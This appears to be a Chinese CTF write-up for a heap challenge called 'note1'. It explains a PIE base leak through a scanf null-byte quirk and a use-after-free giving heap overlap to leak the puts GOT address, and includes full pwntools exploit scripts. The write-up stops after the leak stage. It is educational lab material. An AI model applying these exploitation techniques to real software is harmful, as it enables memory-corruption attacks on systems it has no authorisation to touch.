# pwn1 note1

# 1. 程序分析

64 位程序,发现保护全开了

~~![](/2022picture/1.png)~~

# ida 查看一下:

main:

~~![](/2022picture/2.png)~~

v3=1时:

这里发现对于输入的 tag 始终是在 创建的 0x20 的 chunk 中,而对于 name 的 chunk 是 tag 的下一个;并且这里发现 func1、2、3 没有任何区别

v3=2时:

看到这里对 nametagfunc 都可以重新编辑了

v3=3时:

这里的 qword_4050[v6] 为什么是输出了 tag 和 name 并不太明白,gdb 调试时发现是这样的,并且其他地方调用的 func 也是运用了 qword_4050[] 这个

# 2. 漏洞分析:

由于该程序开启了 pie,那么我们需要先泄露一个地址,然后计算出基地址

这里首先我创建了两个堆块,然后查看一下堆块的内部情况

id=0,name_length=64,name=aaa,tag=bbb,fun=1

id=1,name_length=64,name=bbb,tag=dddd,fun=1

这里也能看出来,tag 的 chunk 位置是在上面,而 name 的 chunk 在下面,而我们输入的内容的后面的地址存入的值类似于地址(黄色框内), 查看一下:

发现是代码段:

而我们知道 pie 是页对齐的,低几位的地址是固定的,在 ida 中发现了其偏移为 0x131B

由此我们能够算出基地址为 base=leak_addr-0x131B

因此我们需要泄露这个地址,而我们在 new 函数中编辑 tag 是通过 fgets (读入输入的数据后会在末尾添加 "\x00",加入限定输入 8 个,则会将输入的第 8 个变成 \x00
,但是在 edit_tag 里是用的 scanf (只有遇到空白符才会停下,在输入的字符串结尾加入 \x00 )

而后面的地址是 func1 的,所以他会将 func1 的地址的最低位变成 \x00

# 泄露代码段基址:

上面我们已经知道了 scanf 的特殊处,【在我的理解里我们输入 8 个字符后它会将后面的函数地址的 低字节 给改成 \x00 代表前面的字符串输入完成,所以我们需要修改 func 来重新载入地址,使能够连带着输出 func 地址】

n
new(0,64,b"a",b"b",1)
edit_tag(0,b"a"*8)
edit_func(0,1)
call(0)
#p.recvuntil ("tag: \n")# 这里这样会报错
p.recvuntil("aaaaaaaa")
text_base=u64(p.recv(6).ljust(8,b'\x00'))-0x131B//这里是以小端序输出的所以这样接收
log.info("text:"+hex(text_base))
gdb.attach(p)
pause()
new(1,64,b"a",b"b",1)#在这里没作用

这里用 u64(p.recv(6).ljust(8,b'\x00')) 接收,下面的图里可以发现是小端序的格式( 0a 是换行符):

# 得到了基地址(pie)来计算 got 表的函数地址并泄露

起初想的是通过上面的泄露方式将 put_gots 的地址输入进去然后泄露出来:

n
payload1=b"a"*8+p64(puts_got)
edit_tag(0,payload1)
p.recv(b"aaaaaaaa")
puts_got=u64(p.recv(6).ljust(8,b'\x00'))

但是仍然无法实现

不过前面发现 edit_name 有个 free,但是指针却没有置 0,所以我们可以进行 堆重叠

通过 edit_name 将 id 为 0 的 chunk 大小改为 0x20,接着申请一个 chunk(此时申请的 chunk 会存在于最开始的 chunk0 的空间)最后再将第一个 chunk 的修改回去,这样就能够覆盖到下一个 chunk(也就是溢出到第二个 tag 所产生的 chunk),bk 修改成 puts_got 的地址,然后再通过上面的方式进行泄露

来仔细探究一下 tagchunk 的构造

在上面的图里就能发现 tag 内容对应的是 a1 ,而 name 对应的是 a1+16 ,正好和 func 里的对应,并且 tag 后 存放的是 func 的地址,会调用该函数,然后去将前面地址内的 tag 直接当作内容(对应 char * a1 ),后面的作为地址,去 取其地址中 的值(对应 char ** a1

而我们知道 got表 内存放的是函数的真实地址,所以我们通过 got 的地址来泄露真实地址,那么我们就需要通过 name 这来利用 地址寻找内容 泄露(所以才不能用 tag 泄露)

n
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=remote('node4.buuoj.cn',25727)
p=process("./note1")
libc=ELF("./libc.so.6")
e=ELF("./note1")
#write_plt=e.plt["write"]
#read_plt=e.plt["read"]
def new(index,name_length,name,tag,fun):
    p.sendlineafter("> ","1")
    p.sendlineafter("id: ",str(index))
    p.sendlineafter("name_length: ",str(name_length))
    p.sendlineafter("name: ",name)
    p.sendlineafter("tag: ",tag)
    p.sendlineafter("func: ",str(fun))
def edit_name(index,name_length,name):
    p.sendlineafter("> ","2")
    p.sendlineafter("id: ",str(index))
    p.sendlineafter("> ","1")
    p.sendlineafter("name_length: ",str(name_length))
    p.sendlineafter("name: ",name)
    
    
def edit_tag(index,tag):
    p.sendlineafter("> ","2")
    p.sendlineafter("id: ",str(index))
    p.sendlineafter("> ","2")
    p.sendlineafter("new tag: ",tag)
def edit_func(index,func):
    p.sendlineafter("> ","2")
    p.sendlineafter("id: ",str(index))
    p.sendlineafter("> ","3")
    p.sendlineafter("func: ",str(func))
    
def call(index):
    p.sendlineafter("> ","3")
    p.sendlineafter("id: ",str(index))
new(0,0x500,b"a",b"b",1)
edit_tag(0,b"a"*8)
edit_func(0,1)
call(0)
#p.recvuntil("tag: \n")
p.recvuntil("aaaaaaaa")
text_base=u64(p.recv(6).ljust(8,b'\x00'))-0x131B
log.info("text:"+hex(text_base))
#gdb.attach(p)
#pause()
puts_plt=text_base+e.plt["puts"]
puts_got=text_base+e.got["puts"]
edit_name(0,0x20,b"a")
new(1,0x20,b"a",b"b",1)
payload1=b"a"*0x20+p64(0)+p64(0x31)+b"c"*8+p64(text_base+0x131B)+p64(puts_got)
edit_name(0,0x20,payload1)
call(1)
p.recvuntil("name: ")
puts_got=u64(p.recv(6).ljust(8,b'\x00'))
log.info("text:"+hex(puts_got))
gdb.attach(p)
pause()
new(1,64,b"a",b"b",1)
p.interactive()